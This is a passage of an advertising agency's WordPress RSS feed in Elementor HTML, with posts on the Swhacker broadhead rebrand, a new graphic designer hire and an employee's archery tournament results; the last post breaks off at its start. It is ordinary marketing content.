					<description><![CDATA[<p>What Can Bast Durbin Do For You? Everything. It&#8217;s a question every marketing professional or business owner will ask themselves &#8211; &#8220;What can these people do for me?&#8221; Bast Durbin has no better case study to show than the work we have done for Swhacker Broadheads over the years. We have been involved in nearly [&#8230;]</p>
<p>The post <a href="https://bastdurbin.com/swhacker-complete-brand-service/">Swhacker &#8211; Complete Brand Service</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></description>
										<content:encoded><![CDATA[		<div data-elementor-type="wp-post" data-elementor-id="1416" class="elementor elementor-1416">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-3330a1b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="3330a1b" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-3249b73" data-id="3249b73" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-2db3b53 elementor-widget elementor-widget-heading" data-id="2db3b53" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">What Can Bast Durbin Do For You? Everything.</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-7b2cec9 elementor-widget elementor-widget-text-editor" data-id="7b2cec9" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>It&#8217;s a question every marketing professional or business owner will ask themselves &#8211; &#8220;What can these people do for me?&#8221; Bast Durbin has no better case study to show than the work we have done for Swhacker Broadheads over the years. We have been involved in nearly every aspect of bringing the Swhacker brand to market.</p><p>In 1995, aerospace engineer, Rick Forrest, launched a new concept in mechanical broadheads. Based on his love for elk hunting, and rooted in his engineering background, Forrest&#8217;s unique new design allowed the broadhead&#8217;s primary blades to open AFTER initial impact, allowing clean, razor-sharp blades to deliver incredible internal damage without sacrificing arrow momentum. It was an industry first. Some year&#8217;s later, Forrest would team with outdoor legend, Hank Parker, and the Swhacker broadhead brand was born.</p>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-cf8c74e elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="cf8c74e" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-4dfee56" data-id="4dfee56" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-88c9faf elementor-widget elementor-widget-image" data-id="88c9faf" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
												<figure class="wp-caption">
										<img loading="lazy" decoding="async" width="600" height="317" src="https://bastdurbin.com/wp-content/uploads/2022/08/Swhacker_logo.jpg" class="attachment-large size-large wp-image-1421" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2022/08/Swhacker_logo.jpg 600w, https://bastdurbin.com/wp-content/uploads/2022/08/Swhacker_logo-300x159.jpg 300w" sizes="(max-width: 600px) 100vw, 600px" />											<figcaption class="widget-image-caption wp-caption-text">Old Swhacker Logo</figcaption>
										</figure>
									</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-ee19e20" data-id="ee19e20" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-56752bd elementor-widget elementor-widget-image" data-id="56752bd" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
												<figure class="wp-caption">
										<img loading="lazy" decoding="async" width="1024" height="1024" src="https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerLogo-1024x1024.jpg" class="attachment-large size-large wp-image-1192" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerLogo-1024x1024.jpg 1024w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerLogo-300x300.jpg 300w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerLogo-150x150.jpg 150w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerLogo-768x768.jpg 768w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerLogo-1080x1080.jpg 1080w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerLogo-980x980.jpg 980w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerLogo-480x480.jpg 480w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerLogo.jpg 1200w" sizes="(max-width: 1024px) 100vw, 1024px" />											<figcaption class="widget-image-caption wp-caption-text">New BDA Designed Logo</figcaption>
										</figure>
									</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-d142a86 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="d142a86" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-8db4393" data-id="8db4393" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-261b81c elementor-widget elementor-widget-text-editor" data-id="261b81c" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>After years of success, the decision was made to rebrand the company in an effort to reach a younger bowhunting market. Bast-Durbin Advertising was tasked with reimagining the brand from all aspects: logo, tagline, marketing material, print ads, trade show graphics, social media channels, media relations, Field and Pro Staff and more.</p><p>In the years since, Swhacker has dramatically increased its presence and positioning in the archery industry. Emphasis was placed on better understanding of the mechanical technology that led to the current &#8220;Slice Twice&#8221; tagline. Consistency of messaging and visual representation, across all marketing channels, was critical.</p>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-c7237e4 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="c7237e4" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-9cfbcdb" data-id="9cfbcdb" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-7875db8 elementor-widget elementor-widget-text-editor" data-id="7875db8" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<h5>BDA has had the pleasure to partner with Swhacker on the following:</h5><p><strong>• Brand Identity</strong><br /><strong>• Display ads and marketing material</strong><br /><strong>• Tradeshow graphics</strong><br /><strong>• Development and management of field and pro staff teams</strong><br /><strong>• Content creation and management</strong><br /><strong>• Social media management</strong><br /><strong>• Digital marketing</strong><br /><strong>• Packaging<br /></strong><strong>• Field Staff Management</strong><br /><strong>• Brand strategy and implementation</strong><br /><strong>• Customer Service</strong></p>								</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-6f267d9" data-id="6f267d9" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-6fce551 elementor-widget elementor-widget-image" data-id="6fce551" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="1024" height="1024" src="https://bastdurbin.com/wp-content/uploads/2022/08/swh210303-field-staff-wanted-v1-1024x1024.jpg" class="attachment-large size-large wp-image-1422" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2022/08/swh210303-field-staff-wanted-v1-1024x1024.jpg 1024w, https://bastdurbin.com/wp-content/uploads/2022/08/swh210303-field-staff-wanted-v1-300x300.jpg 300w, https://bastdurbin.com/wp-content/uploads/2022/08/swh210303-field-staff-wanted-v1-150x150.jpg 150w, https://bastdurbin.com/wp-content/uploads/2022/08/swh210303-field-staff-wanted-v1-768x768.jpg 768w, https://bastdurbin.com/wp-content/uploads/2022/08/swh210303-field-staff-wanted-v1-1536x1536.jpg 1536w, https://bastdurbin.com/wp-content/uploads/2022/08/swh210303-field-staff-wanted-v1-600x600.jpg 600w, https://bastdurbin.com/wp-content/uploads/2022/08/swh210303-field-staff-wanted-v1.jpg 1600w" sizes="(max-width: 1024px) 100vw, 1024px" />															</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-c7a6ac1 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="c7a6ac1" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-7ac2d59" data-id="7ac2d59" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-63cc282 elementor-widget elementor-widget-image" data-id="63cc282" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
												<figure class="wp-caption">
										<img loading="lazy" decoding="async" width="1024" height="576" src="https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerBranding_InField-1024x576.jpg" class="attachment-large size-large wp-image-1196" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerBranding_InField-1024x576.jpg 1024w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerBranding_InField-300x169.jpg 300w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerBranding_InField-768x432.jpg 768w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerBranding_InField-1536x864.jpg 1536w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerBranding_InField-1080x608.jpg 1080w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerBranding_InField-1280x720.jpg 1280w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerBranding_InField-980x551.jpg 980w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerBranding_InField-480x270.jpg 480w, https://bastdurbin.com/wp-content/uploads/2022/08/SwhackerBranding_InField.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" />											<figcaption class="widget-image-caption wp-caption-text">New Brand Identity and Packaging Designed by Bast Durbin.</figcaption>
										</figure>
									</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-41b7466 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="41b7466" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-7cb737e" data-id="7cb737e" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-f10ee22 elementor-widget elementor-widget-video" data-id="f10ee22" data-element_type="widget" data-e-type="widget" data-settings="{&quot;video_type&quot;:&quot;vimeo&quot;}" data-widget_type="video.default">
				<div class="elementor-widget-container">
							<div class="elementor-wrapper elementor-open-inline">
			<iframe class="elementor-video-iframe" allowfullscreen allow="clipboard-write" title="vimeo Video Player" src="https://player.vimeo.com/video/316196948?color&amp;autopause=0&amp;loop=0&amp;muted=0&amp;title=0&amp;portrait=0&amp;byline=0#t="></iframe>		</div>
						</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-650b462" data-id="650b462" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-c194937 elementor-widget elementor-widget-video" data-id="c194937" data-element_type="widget" data-e-type="widget" data-settings="{&quot;video_type&quot;:&quot;vimeo&quot;,&quot;show_image_overlay&quot;:&quot;yes&quot;,&quot;image_overlay&quot;:{&quot;url&quot;:&quot;https:\/\/bastdurbin.com\/wp-content\/uploads\/2022\/08\/Levi-Morgan-Signature-Series-low.gif&quot;,&quot;id&quot;:1295,&quot;size&quot;:&quot;&quot;,&quot;alt&quot;:&quot;&quot;,&quot;source&quot;:&quot;library&quot;}}" data-widget_type="video.default">
				<div class="elementor-widget-container">
							<div class="elementor-wrapper elementor-open-inline">
			<iframe class="elementor-video-iframe" allowfullscreen allow="clipboard-write" title="vimeo Video Player" src="https://player.vimeo.com/video/322265834?color&amp;autopause=0&amp;loop=0&amp;muted=0&amp;title=0&amp;portrait=0&amp;byline=0#t="></iframe>				<div class="elementor-custom-embed-image-overlay" style="background-image: url(https://bastdurbin.com/wp-content/uploads/2022/08/Levi-Morgan-Signature-Series-low.gif);">
														</div>
					</div>
						</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div>
		<p>The post <a href="https://bastdurbin.com/swhacker-complete-brand-service/">Swhacker &#8211; Complete Brand Service</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>NEW HIRE: Todd Wolff — Senior Graphic Designer</title>
		<link>https://bastdurbin.com/new-hire-todd-wolff-senior-graphic-designer/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=new-hire-todd-wolff-senior-graphic-designer</link>
		
		<dc:creator><![CDATA[Todd Wolff]]></dc:creator>
		<pubDate>Tue, 03 May 2022 20:10:24 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Thoughts]]></category>
		<guid isPermaLink="false">https://bastdurbin.com/?p=1163</guid>

					<description><![CDATA[<p>Bast Durbin Advertising (BDA) has added a new creative; Todd Wolff, to help spark chemistry between brands and people. The addition of Wolff allows for better direct-to-creative access for clients and enhance creative outcomes for all involved. Over his years in the industry, he’s worked with a variety of major brands, including: Pepsi, Harley Davidson, [&#8230;]</p>
<p>The post <a href="https://bastdurbin.com/new-hire-todd-wolff-senior-graphic-designer/">NEW HIRE: Todd Wolff — Senior Graphic Designer</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></description>
										<content:encoded><![CDATA[		<div data-elementor-type="wp-post" data-elementor-id="1163" class="elementor elementor-1163">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-68bc6aaa elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="68bc6aaa" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-7e13376c" data-id="7e13376c" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<section class="elementor-section elementor-inner-section elementor-element elementor-element-f5e3058 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="f5e3058" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-1b037b0" data-id="1b037b0" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-6cb8f5a elementor-widget elementor-widget-image" data-id="6cb8f5a" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="769" height="1024" src="https://bastdurbin.com/wp-content/uploads/2022/05/62578377493__1E27A13D-116B-4EE0-B071-5536863C6012-scaled-e1660842420667-769x1024.jpg" class="attachment-large size-large wp-image-1164" alt="" />															</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-32b9dc3" data-id="32b9dc3" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-4470886 elementor-widget elementor-widget-text-editor" data-id="4470886" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Bast Durbin Advertising (BDA) has added a new creative; Todd Wolff, to help spark chemistry between brands and people.</p><p>The addition of Wolff allows for better direct-to-creative access for clients and enhance creative outcomes for all involved. Over his years in the industry, he’s worked with a variety of major brands, including: Pepsi, Harley Davidson, Humminbird, Frabill, Mercury Marine, Miller Brewing and many others.</p><p>&#8220;We will be looking to repeat previous successes, from helping brands grow 1500% in a year, to helping new brands launch successfully,” said Dan Durbin, one of the partners of BDA. “We are very selective in our hiring process and Todd checked all the creative boxes.”</p><p>From drawing characters that became Pixar animations to helping small country-store brands &#8211; Wolff has seen a lot. From owning his own businesses to being a marketing director at a “Big City” agency, he has seen many sides of the marketing spectrum.</p>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<div class="elementor-element elementor-element-3cf593e1 elementor-widget elementor-widget-text-editor" data-id="3cf593e1" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>His depth of knowledge and experience will help clients avoid costly pitfalls. Aside from his agency experience, Wolff has taught at the collegiate level as an Adobe Illustrator and Photoshop instructor at the Milwaukee Institute of art and Design.</p><p>Jeff Bast, another partner at BDA, said Wolff knows how to develop work that will build customer loyalty.</p><p>“Todd likes to work in a collaborative manner,” Bast said. “This exchange of ideas gives clients ownership of their marketing and design solutions. To put it simply &#8211; we work in a world where we are only as good as our next project, so it better be great.”</p><p>Unlike many agencies in their niche, BDA can get the job done in-house.</p><p>“We don&#8217;t turn to outside vendors that can lead to longer turnaround times and inflated rates of service,” Wolff said. “When a client hires Bast Durbin, they do so knowing that the people they work with are part of an award-winning crew of professionals. The team here doesn&#8217;t only understand marketing, but we use the products we promote on a daily basis.”</p><p><strong>About Bast Durbin Advertising LLC</strong>: Bast Durbin Advertising is a full-service agency serving the needs of brands and entities within the hunting, fishing and outdoor recreation industries. They specialize in social media, media planning, public relations, content management, graphic design and more. For more information, please visit www.bastdurbin.com or call 1-800-975-3474.</p>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div>
		<p>The post <a href="https://bastdurbin.com/new-hire-todd-wolff-senior-graphic-designer/">NEW HIRE: Todd Wolff — Senior Graphic Designer</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Bast-Durbin’s, Wyatt Michaud, takes podium at WI State Indoor Archery Tournament</title>
		<link>https://bastdurbin.com/bast-durbins-wyatt-michaud-takes-podium-at-wi-state-indoor-archery-tournament/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=bast-durbins-wyatt-michaud-takes-podium-at-wi-state-indoor-archery-tournament</link>
		
		<dc:creator><![CDATA[Bast Durbin]]></dc:creator>
		<pubDate>Tue, 12 Apr 2022 15:24:04 +0000</pubDate>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Thoughts]]></category>
		<guid isPermaLink="false">https://bastdurbin.com/?p=1151</guid>

					<description><![CDATA[<p>Patience and persistence paid off for competitive archer, Wyatt Michaud, at the recent Wisconsin Archery Alliance State Indoor event, held 2/11-2/13. The 26-year-old Michaud led the event in the amateur division with a perfect 300 60X on day 1 and followed up with a 300 58X on day 2 to take the second position on [&#8230;]</p>
<p>The post <a href="https://bastdurbin.com/bast-durbins-wyatt-michaud-takes-podium-at-wi-state-indoor-archery-tournament/">Bast-Durbin’s, Wyatt Michaud, takes podium at WI State Indoor Archery Tournament</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></description>
										<content:encoded><![CDATA[		<div data-elementor-type="wp-post" data-elementor-id="1151" class="elementor elementor-1151">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-34da130d elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="34da130d" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-1c1b2d73" data-id="1c1b2d73" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-1a40a6df elementor-widget elementor-widget-text-editor" data-id="1a40a6df" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Patience and persistence paid off for competitive archer, Wyatt Michaud, at the recent Wisconsin Archery Alliance State Indoor event, held 2/11-2/13. The 26-year-old Michaud led the event in the amateur division with a perfect 300 60X on day 1 and followed up with a 300 58X on day 2 to take the second position on the final podium. The NFAA sanctioned event is Wisconsin’s premier indoor archery tournament, attracting the top shooters from around the state. Michaud competed in the highly competitive Amateur Male Freestyle category.</p><p><img loading="lazy" decoding="async" class="alignnone wp-image-1132 size-large" src="https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_PerfectionGroup-1024x768.jpeg" alt="" width="1024" height="768" srcset="https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_PerfectionGroup-1024x768.jpeg 1024w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_PerfectionGroup-300x225.jpeg 300w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_PerfectionGroup-768x576.jpeg 768w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_PerfectionGroup-1536x1152.jpeg 1536w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_PerfectionGroup-510x382.jpeg 510w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_PerfectionGroup-1080x810.jpeg 1080w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_PerfectionGroup-1280x960.jpeg 1280w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_PerfectionGroup-980x735.jpeg 980w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_PerfectionGroup-480x360.jpeg 480w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_PerfectionGroup.jpeg 2048w" sizes="(max-width: 1024px) 100vw, 1024px" /></p><p>The NFAA event includes 12 individual 5-spot ends per day, for a total of 60 arrows scored per day. Each of the “spots” on the 5-spot target consists of an inner 3” white circle scoring 5 points. The outside blue circle scores 4 points. The very inner 1.5” X-ring is the coveted prize.   Archers are scored by total points and total number of X-rings shot throughout the round. The number of X-rings can be the deciding factor in the NFAA event. Michaud’s perfect 300’s both days mean he never left the white 5-point circle for the 60 scorable arrows per round, across both days of the event. Even more notable, he hit all 60 X-rings on day 1 and 58 out of 60 X-rings on day 2.</p><p>“I’ve only shot 60X one other time in my life and maybe a handful of 58X’s, but never together within a full-game,” said Michaud. “To pull it all together and perform like that across a 2-day tournament of this size and caliber is a major accomplishment in my career.”</p>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-2275368 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="2275368" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-b200b4b" data-id="b200b4b" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-a005acf elementor-widget elementor-widget-image" data-id="a005acf" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="768" height="1024" src="https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Target-768x1024.jpeg" class="attachment-large size-large wp-image-1133" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Target-768x1024.jpeg 768w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Target-225x300.jpeg 225w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Target-1152x1536.jpeg 1152w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Target-1080x1440.jpeg 1080w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Target-1280x1707.jpeg 1280w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Target-980x1307.jpeg 980w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Target-480x640.jpeg 480w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Target.jpeg 1536w" sizes="(max-width: 768px) 100vw, 768px" />															</div>
				</div>
					</div>
		</div>
				<div class="elementor-column elementor-col-50 elementor-top-column elementor-element elementor-element-7f668e7" data-id="7f668e7" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-fd54584 elementor-widget elementor-widget-image" data-id="fd54584" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="768" height="1024" src="https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Medals-768x1024.jpeg" class="attachment-large size-large wp-image-1130" alt="" srcset="https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Medals-768x1024.jpeg 768w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Medals-225x300.jpeg 225w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Medals-1152x1536.jpeg 1152w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Medals-1080x1440.jpeg 1080w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Medals-1280x1707.jpeg 1280w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Medals-980x1307.jpeg 980w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Medals-480x640.jpeg 480w, https://bastdurbin.com/wp-content/uploads/2022/04/Wyatt_StateShoot_Medals.jpeg 1536w" sizes="(max-width: 768px) 100vw, 768px" />															</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="elementor-section elementor-top-section elementor-element elementor-element-544e3ae elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="544e3ae" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-10b2259" data-id="10b2259" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-d5385b3 elementor-widget elementor-widget-text-editor" data-id="d5385b3" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Michaud, the Digital Marketing Specialist at Bast-Durbin Advertising, started shooting early, at the age of 7, with the encouragement of his dad, who bought him his first “real” bow at the age of 10. The passion continued into high school as he sold and set up bows in the archery department at Gander Mountain. Through his college years studying marketing, Michaud continued learning his craft as an Archery Tech &amp; Sales Associate at Buck Rub Archery, one of the largest independent bow shops in Wisconsin. 2017 was the year the tournament bug finally bit Michaud.</p><p>“I finally took the dive and went all-in, purchasing the equipment I needed to be competitive at the tournament level,” said Michaud. “Long bars, target sights, lenses, you name it.  It took me about a year before I shot my first 300 on a 5-spot target. I put a lot of time in on the range.”</p><p>When not competing against the top archers in the state, Michaud is running digital campaigns, managing social media pages and overseeing Field &amp; Pro Staff members for some of the largest brands in the outdoor industry. In his off-time, Michaud donates his digital expertise to assist his local archery club, Horicon Marsh Bowmen, with their own marketing and promotions.</p>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div>
		<p>The post <a href="https://bastdurbin.com/bast-durbins-wyatt-michaud-takes-podium-at-wi-state-indoor-archery-tournament/">Bast-Durbin’s, Wyatt Michaud, takes podium at WI State Indoor Archery Tournament</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PORK: 1500% Sales Growth!</title>
		<link>https://bastdurbin.com/pork-1500-sales-growth/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=pork-1500-sales-growth</link>
		
		<dc:creator><![CDATA[Bast Durbin]]></dc:creator>
		<pubDate>Sun, 10 Apr 2022 23:08:14 +0000</pubDate>
				<category><![CDATA[Our Results]]></category>
		<guid isPermaLink="false">https://bastdurbin.wifishingexpo.com/?p=396</guid>

					<description><![CDATA[<p>It’s not every day an ad agency gets the opportunity to reinvent a brand that has stood the test of time since 1921</p>
<p>The post <a href="https://bastdurbin.com/pork-1500-sales-growth/">PORK: 1500% Sales Growth!</a> appeared first on <a href="https://bastdurbin.com">Bast Durbin</a>.</p>
]]></description>
										<content:encoded><![CDATA[		<div data-elementor-type="wp-post" data-elementor-id="396" class="elementor elementor-396">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-48b5dd1a elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="48b5dd1a" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-275671d9" data-id="275671d9" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-46e9645f elementor-widget elementor-widget-text-editor" data-id="46e9645f" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
